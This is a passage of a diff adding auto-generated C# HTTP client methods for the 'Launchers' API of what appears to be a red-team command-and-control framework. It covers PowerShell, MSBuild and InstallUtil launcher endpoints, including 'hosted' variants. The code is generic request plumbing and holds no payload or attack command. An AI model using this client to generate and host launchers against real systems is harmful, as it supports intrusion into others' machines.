_result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersPowershellHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersPowershellHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/powershell/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMsbuildGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMsbuildGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/msbuild").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMsbuildPutWithHttpMessagesAsync(MSBuildLauncher msbuildLauncher = default(MSBuildLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("msbuildLauncher", msbuildLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMsbuildPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/msbuild").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(msbuildLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(msbuildLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMsbuildPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMsbuildPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/msbuild").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMsbuildHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMsbuildHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/msbuild/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersInstallutilGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersInstallutilGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/installutil").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersInstallutilPutWithHttpMessagesAsync(InstallUtilLauncher installutilLauncher = default(InstallUtilLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("installutilLauncher", installutilLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersInstallutilPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/installutil").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(installutilLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(installutilLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersInstallutilPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersInstallutilPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/installutil").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersInstallutilHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersInstallutilHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/installutil/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, 